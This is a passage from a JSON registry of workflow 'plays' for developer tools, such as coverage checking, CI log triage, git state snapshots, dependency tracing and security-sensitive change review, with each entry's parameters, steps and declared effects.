Agent","version":"1.0.6","published_at":"2026-09-05T19:56:23.122089+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":44660,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":16,"names":["join","get_diff","validate","detect_io","detect_api","detect_auth","detect_cicd","detect_data","detect_deps","detect_tests","detect_secrets","detect_storage","detect_payments","detect_security","build_join_payload","detect_concurrency"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute local repository path to analyze (not GitHub owner/repo names)"},{"name":"base_ref","type":"string","required":false,"default":"HEAD~1","description":"Base git reference for diff"},{"name":"target_ref","type":"string","required":false,"default":"HEAD","description":"Target git reference for diff"},{"name":"risk_threshold","type":"string","required":false,"default":"MEDIUM","description":"Emit an ALERT when classified risk meets or exceeds this threshold (LOW, MEDIUM, HIGH, CRITICAL)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d67724946956b953364e40d5470da0970ca0bb92e8028c7c648d168b872cf67c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":16,"kinds":{"api":0,"shell":16,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":12,"fan_out":0,"for_each_steps":0,"complexity":16,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":16}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/satianurag/coverage-diff-guard@0.2.4","reference":"satianurag/coverage-diff-guard@0.2.4","uri":"https://play.modiqo.ai/satianurag/coverage-diff-guard@0.2.4","manifest_uri":"https://play.modiqo.ai/satianurag/coverage-diff-guard@0.2.4","name":"coverage-diff-guard","title":"coverage-diff-guard","description":"Of the lines your change actually adds or modifies, which ones did your tests really execute? This answers that from coverage.py's real per-line hit data -- not a whole-repo percentage, not a guess -- so an agent can verify its own change before claiming the work is done. It is the direct check against 'almost right, but not quite', which 66% of 49,000 developers named the #1 frustration with AI coding tools in the 2026 Stack Overflow survey. Every line is classified COVERED, UNCOVERED, NOT_APPLICABLE, EXCLUDED or UNMEASURED -- a file no test ever imported is its own honest category, never folded into a guess. A run whose tests failed reports DEGRADED, never a clean pass. Measures subprocesses and pytest-xdist workers, which stdlib trace cannot do at all, and scores files git hasn't been told about yet. Installs coverage into your own interpreter only if missing, then removes it. Try demo=true.","owner":{"kind":"user","slug":"satianurag"},"registry_organization":"satianurag","tags":["testing","coverage","ai-code-review","deterministic","reversible"],"primary_domain":"domain-uncategorized","author":"Satianurag","version":"0.2.4","published_at":"2026-09-05T18:55:16.784347+00:00","visibility":"public","quality_score":1,"size_bytes":24253,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":3,"names":["discover","run_coverage","cross_reference"]},"parameters":[{"name":"repo_path","type":"string","required":false,"default":"","description":"Absolute path to the repository root. Required outside demo mode -- steps run in an isolated Rote workspace, not your terminal's directory, so this cannot be inferred; pass repo_path=$(pwd) if you are standing in it. Ignored in demo mode.","example":"/Users/you/code/your-repo"},{"name":"test_command","type":"string","required":false,"default":"","description":"The arguments that would follow -m for your test runner -- e.g. 'pytest tests/ -q', 'unittest discover', 'nose2'. Required outside demo mode: always run as <python_bin> -m coverage run --parallel-mode -m <test_command>, never guessed, since one repo's test invocation looks nothing like another's. Ignored in demo mode.","example":"pytest tests/ -q"},{"name":"base_ref","type":"string","required":false,"default":"HEAD","description":"Git ref to diff against. Compares this ref to the CURRENT WORKING TREE (staged and unstaged changes included) -- 'is what I'm about to commit or push tested', not only what's already committed. Pass a branch (e.g. main) to check a whole feature branch instead of just uncommitted work.","example":"main"},{"name":"python_bin","type":"string","required":false,"default":"","description":"Path to the interpreter to run tests with. Empty (default) auto-detects .venv/venv/env under repo_path, falling back to python3 on PATH -- the choice is always disclosed in the output, never silent.","example":"/path/to/repo/.venv/bin/python"},{"name":"timeout_ms","type":"integer","required":false,"default":"300000","description":"Hard cap on the test run itself. A run that hits this is reported as timed_out, never left to hang silently.","example":"300000"},{"name":"install_missing","type":"boolean","required":false,"default":"true","description":"Install coverage (and pytest-cov, for a pytest test_command) into the target interpreter if not already present, via pip or uv pip (whichever is actually available -- verified necessary for uv-managed venvs with no pip module). False refuses to run rather than install anything.","example":"true"},{"name":"cleanup","type":"boolean","required":false,"default":"true","description":"Remove the subprocess auto-start hook and uninstall anything install_missing added, once the run finishes. False leaves them in place, e.g. to run this play repeatedly without reinstalling each time.","example":"true"},{"name":"demo","type":"boolean","required":false,"default":"false","description":"Build a real git repo fresh in a temp directory (one committed baseline, one uncommitted change with a tested and an untested branch) and run against that instead of repo_path/test_command. Never a nested repo shipped inside this play's own package.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:971471c2b6de2a27c4c76da56b6915e9c5c831859fc0a4d647332d71e69d981f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/humidyfier/cross-folder-search@0.4.1","reference":"humidyfier/cross-folder-search@0.4.1","uri":"https://play.modiqo.ai/humidyfier/cross-folder-search@0.4.1","manifest_uri":"https://play.modiqo.ai/humidyfier/cross-folder-search@0.4.1","name":"cross-folder-search","title":"cross-folder-search","description":"Natural-language search ranked by TF-IDF match percentage across your local files — a single folder, or your whole home directory via incremental indexing — or your Gmail. Try it instantly with demo enabled — a bundled sample corpus, no folder path and no Gmail setup required.","owner":{"kind":"org","slug":"humidyfier"},"registry_organization":"humidyfier","tags":["typescript","search","tf-idf","gmail","filesystem","ranking"],"primary_domain":"domain-uncategorized","author":"agent-forge","version":"0.4.1","published_at":"2026-09-05T15:23:53.547292+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":54795,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":4,"names":["scan_files","google_auth","list_messages","message_details"]},"parameters":[{"name":"context","type":"string","required":true,"description":"Natural-language search context (also passed to Gmail as the query)"},{"name":"demo","type":"boolean","required":false,"default":false,"description":"Try the play instantly on a bundled sample corpus — no folder path and no Gmail access needed"},{"name":"target","type":"string","required":false,"default":"local","description":"Where to search: local (folder scan) or gmail","values":["local","gmail"]},{"name":"folder","type":"string","required":false,"default":"","description":"Folder to restrict the scan to; leave empty to search your whole home directory"},{"name":"top","type":"integer","required":false,"default":20,"description":"Maximum ranked results to return"},{"name":"limit","type":"integer","required":false,"default":10,"description":"Maximum Gmail messages to fetch (also caps the fan-out)"}],"execution":{"adapters":[{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:aa862c8de04b23325e8e1dee449b09b51ed301b5f7f03fe8ebd6017fd67ce6bd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[{"adapter":"gmail","steps":3,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_2kLwgdDQH7fxkyDYysCHsbCXLooH","source":"modiqo/gmail","version":"0.0.3","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":79},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/sakshamsai26/github-shame-cleaner@0.23.24","reference":"sakshamsai26/github-shame-cleaner@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/github-shame-cleaner@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/github-shame-cleaner@0.23.24","name":"github-shame-cleaner","title":"github-shame-cleaner","description":"Audits repository portfolio quality and can optionally publish the redacted audit as a GitHub issue.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:08:34.142724+00:00","visibility":"public","quality_score":1,"size_bytes":5700,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":9,"names":["clean","boundary","classify","inventory","preflight","auth_github","constraints","create_issue","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"When true, creates a GitHub issue in sakshamsai26/rote-playoffs-2026 containing the audit."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:d76201ac1a704c8faa537178d75d70c23732afbc53f5e4b5c009a539ca6d95c5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":1,"shell":7,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/ci-failure-investigator@0.23.23","reference":"sakshamsai26/ci-failure-investigator@0.23.23","uri":"https://play.modiqo.ai/sakshamsai26/ci-failure-investigator@0.23.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/ci-failure-investigator@0.23.23","name":"ci-failure-investigator","title":"ci-failure-investigator","description":"A long CI log often mixes the line that actually failed with warnings, retry noise, and downstream cascade errors. CI Failure Investigator converts one authorized local failed-job log into an inspectable investigation brief: it identifies a recognizable stage when present, classifies formatting/lint, TypeScript, and test evidence conservatively, extracts file-and-line annotations, separates non-causal warnings, and gives a safe verification sequence without running it. It deliberately does not invent repository context, changed files, runner state, the exact CI command, or a guaranteed fix when the supplied log lacks that evidence. Credential-shaped assignments are redacted before analysis and input is bounded to 1 MB. Read-only: it only reads the supplied local log; it never contacts CI, opens a repository, executes project code, installs packages, or changes files.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","ci","debugging","evidence-analysis","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.23","published_at":"2026-09-05T11:39:09.345811+00:00","visibility":"public","quality_score":1,"size_bytes":6001,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":7,"names":["boundary","inventory","preflight","auth_github","investigate","write_report","github_repository"]},"parameters":[{"name":"log_path","type":"string","required":true,"description":"Absolute path to a CI log you are authorized to inspect (maximum 1 MB). Provide the raw failed-job log when possible; the Play returns UNKNOWN or PARTIAL rather than inventing missing context.","example":"/home/you/downloads/build-failure.log"},{"name":"github_owner","type":"string","required":true,"description":"Optional GitHub repository owner for read-only remote metadata evidence."},{"name":"github_repo","type":"string","required":true,"description":"Optional GitHub repository name; supply with github_owner."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates one new run-owned report directory containing report.md and receipt.json; no existing file is overwritten."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:089bb1c7f1af892848ce5862dfad57a27fb5d9edf37bf2e657b41a57717121f9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":1,"shell":5,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":5,"fan_out":0,"for_each_steps":0,"complexity":14,"apis":[{"adapter":"github","steps":2,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/git-worktree-safety-snapshot@0.4.23","reference":"sakshamsai26/git-worktree-safety-snapshot@0.4.23","uri":"https://play.modiqo.ai/sakshamsai26/git-worktree-safety-snapshot@0.4.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/git-worktree-safety-snapshot@0.4.23","name":"git-worktree-safety-snapshot","title":"git-worktree-safety-snapshot","description":"Before switching branches, handing a machine to a teammate, or cleaning a workspace, it helps to know which work exists only locally. Git Worktree Safety Snapshot reads local Git state and reports tracked/untracked modifications, detached-HEAD state, stash presence, upstream configuration, and divergence that can be computed without a fetch. It distinguishes no evidence from a clean state: an unavailable upstream or stale remote reference is not proof a branch is safe. The report is a handoff decision aid, not a backup or synchronization operation. Read-only: no files, branches, stashes, commits, fetches, pushes, network requests, or repository configuration are changed.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","git","worktree","handoff","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.4.23","published_at":"2026-09-05T08:34:54.70462+00:00","visibility":"public","quality_score":1,"size_bytes":6583,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":8,"names":["boundary","classify","snapshot","inventory","preflight","write_report","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local Git repository you are authorized to inspect. Results describe repository state without exposing the local path or branch names."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the repository. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes repository files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1a9c142db7f1e80559aff75ffa11f0257d85c6ae2bd0a7a4b28458ae8c61cb6b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/dependency-why@0.3.23","reference":"sakshamsai26/dependency-why@0.3.23","uri":"https://play.modiqo.ai/sakshamsai26/dependency-why@0.3.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/dependency-why@0.3.23","name":"dependency-why","title":"dependency-why","description":"Dependencies survive long after the feature, plugin, build step, or transitive assumption that introduced them has been forgotten. Dependency Why performs a bounded local static investigation across package manifests, imports, configuration, scripts, and text references to explain the strongest observable reason a named dependency appears to exist. Its report distinguishes direct application usage, tooling/configuration evidence, manifest-only evidence, and no obvious static usage; dynamic loading, generated code, lockfile-only transitives, and runtime behavior remain explicitly UNKNOWN. It is a removal-review starting point, not a license/security verdict or permission to delete a package. Read-only: it never installs, removes, upgrades, executes, or contacts a package registry.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.3.23","published_at":"2026-09-05T08:32:37.844784+00:00","visibility":"public","quality_score":1,"size_bytes":9234,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":8,"names":["analyze","boundary","classify","inventory","preflight","write_report","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute repository path you are authorized to inspect."},{"name":"dependency","type":"string","required":true,"description":"Package or dependency name to investigate."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c813053a589222b55afdf7e6a2c34779c4a49e94b724598ca5691725ff2ee77b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/git-change-review-planner@0.3.23","reference":"sakshamsai26/git-change-review-planner@0.3.23","uri":"https://play.modiqo.ai/sakshamsai26/git-change-review-planner@0.3.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/git-change-review-planner@0.3.23","name":"git-change-review-planner","title":"git-change-review-planner","description":"Large diffs are reviewed more reliably when the reviewer starts with an evidence-backed map instead of a flat list of files. Git Change Review Planner validates one local base revision, compares it with HEAD, groups changed paths into practical review areas, and returns targeted questions and verification leads for code, tests, configuration, dependencies, and documentation. It reports invalid revisions as UNKNOWN rather than silently comparing the wrong history. The result is a planning brief, not an approval: runtime behavior, generated artifacts, remote divergence, external consumers, and uncommitted intent are outside its local Git evidence. Read-only: it never changes a repository, branch, index, stash, remote, or working tree; it never fetches, pushes, checks out, or contacts a service.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.3.23","published_at":"2026-09-05T08:32:29.682657+00:00","visibility":"public","quality_score":1,"size_bytes":6308,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":7,"names":["review","boundary","classify","inventory","preflight","parallel_targets","parallel_evidence"]},"parameters":[{"name":"base","type":"string","required":true,"description":"Existing local Git revision to compare with HEAD, for example HEAD~1, a tag, or a commit SHA. The value is verified as a commit and option-like values are rejected."},{"name":"root","type":"string","required":true,"description":"Absolute path to a local Git repository you are authorized to inspect. The Play reads Git metadata only; it does not modify files, branches, or remotes."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:84220af7e32da99ae48673967bbcf54df2420770b48c23419957990c293356ff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":8,"for_each_steps":1,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/security-sensitive-change-scout@0.2.5","reference":"sakshamsai26/security-sensitive-change-scout@0.2.5","uri":"https://play.modiqo.ai/sakshamsai26/security-sensitive-change-scout@0.2.5","manifest_uri":"https://play.modiqo.ai/sakshamsai26/security-sensitive-change-scout@0.2.5","name":"security-sensitive-change-scout","title":"security-sensitive-change-scout","description":"Security review is most useful when it points humans toward a changed trust boundary, not when it pretends static text can find every vulnerability. Security Sensitive Change Scout reads one local Git range, classifies changed paths and diff context for authorization, authentication, uploads, secrets-shaped configuration, cryptography, CORS, dependencies, and externally reachable boundaries, and produces evidence-linked questions for a reviewer. Findings mean additional attention is warranted; they are not exploit findings, compliance approval, or proof a path is safe. It never prints secret values, executes project code, calls security scanners or services, changes Git state, or applies a fix. Unseen generated code, runtime routing, deployment policy, and external controls are reported as outside the evidence boundary.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.5","published_at":"2026-09-05T07:20:49.697655+00:00","visibility":"public","quality_score":1,"size_bytes":7021,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":10,"names":["scout","boundary","classify","inventory","preflight","auth_github","write_report","parallel_targets","github_repository","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local Git repository you are authorized to inspect. Read-only; no remote contact, Git writes, or project commands."},{"name":"change_range","type":"string","required":true,"description":"Existing local Git range, for example HEAD~10..HEAD. Invalid or unavailable ranges are reported as UNKNOWN."},{"name":"github_owner","type":"string","required":true,"description":"Optional GitHub repository owner for read-only remote metadata evidence."},{"name":"github_repo","type":"string","required":true,"description":"Optional GitHub repository name; supply with github_owner."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5144381ffdf35404a3a897c3305462ea1bfb238350270f91231f28c186f7cc96","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":1,"shell":8,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":8,"for_each_steps":1,"complexity":20,"apis":[{"adapter":"github","steps":2,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/submission-survival-check@0.2.5","reference":"sakshamsai26/submission-survival-check@0.2.5","uri":"https://play.modiqo.ai/sakshamsai26/submission-survival-check@0.2.5","manifest_uri":"https://play.modiqo.ai/sakshamsai26/submission-survival-check@0.2.5","name":"submission-survival-check","title":"submission-survival-check","description":"A grader or professor starts from a clean machine, not from the environment that accumulated on a student laptop. Submission Survival Check performs a bounded, read-only preflight of an assignment folder: it compares optional stated requirements with visible entry files, scans dependency declarations versus static imports, flags hard-coded local paths and environment assumptions, checks README run instructions against filenames, and surfaces likely clutter such as caches, outputs, and debug artifacts. The report is a survival checklist, not a grading prediction: hidden rubric rules, runtime behavior, generated files, operating-system behavior, and any file not inspected remain UNKNOWN. It never executes untrusted student code, opens secret values, uploads a submission, deletes clutter, or modifies project files.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.5","published_at":"2026-09-05T07:16:25.231871+00:00","visibility":"public","quality_score":1,"size_bytes":8721,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":7,"names":["inspect","boundary","inventory","preflight","write_report","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the assignment folder you are authorized to inspect. The Play reads bounded text and filenames only; it does not execute code or modify the submission."},{"name":"requirements","type":"string","required":false,"default":"","description":"Optional plain-text assignment requirements, such as 'entry file: main.py' and 'run: python main.py'. Do not include credentials or personal data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the submission. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes submission files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:32a90ac5a4a317f757dd592aad7a978aa670ff5753575c7ec30ca66de95cdde5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":8,"for_each_steps":1,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/repository-handoff-snapshot@0.3.3","reference":"sakshamsai26/repository-handoff-snapshot@0.3.3","uri":"https://play.modiqo.ai/sakshamsai26/repository-handoff-snapshot@0.3.3","manifest_uri":"https://play.modiqo.ai/sakshamsai26/repository-handoff-snapshot@0.3.3","name":"repository-handoff-snapshot","title":"repository-handoff-snapshot","description":"A repository handoff fails when critical knowledge exists only in one maintainer’s head. Repository Handoff Snapshot creates a local, evidence-backed onboarding and continuity brief by checking for visible README, contribution, license, CI, example, build-manifest, and documentation signals. It makes absence explicit, separates presence from quality, and turns gaps into questions a new maintainer can resolve before depending on the project. It does not infer that a present document is accurate, that a CI workflow passes, or that a project is safe to release; those facts remain UNKNOWN without execution or external evidence. Read-only: it never edits files, alters Git, runs project commands, opens credentials, or contacts external services.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","onboarding","repository-handoff","documentation","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.3.3","published_at":"2026-09-05T07:16:17.835675+00:00","visibility":"public","quality_score":1,"size_bytes":6553,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":10,"names":["inspect","boundary","classify","inventory","preflight","constraints","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The report contains presence and absence signals only; it does not return the local path or file contents."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing 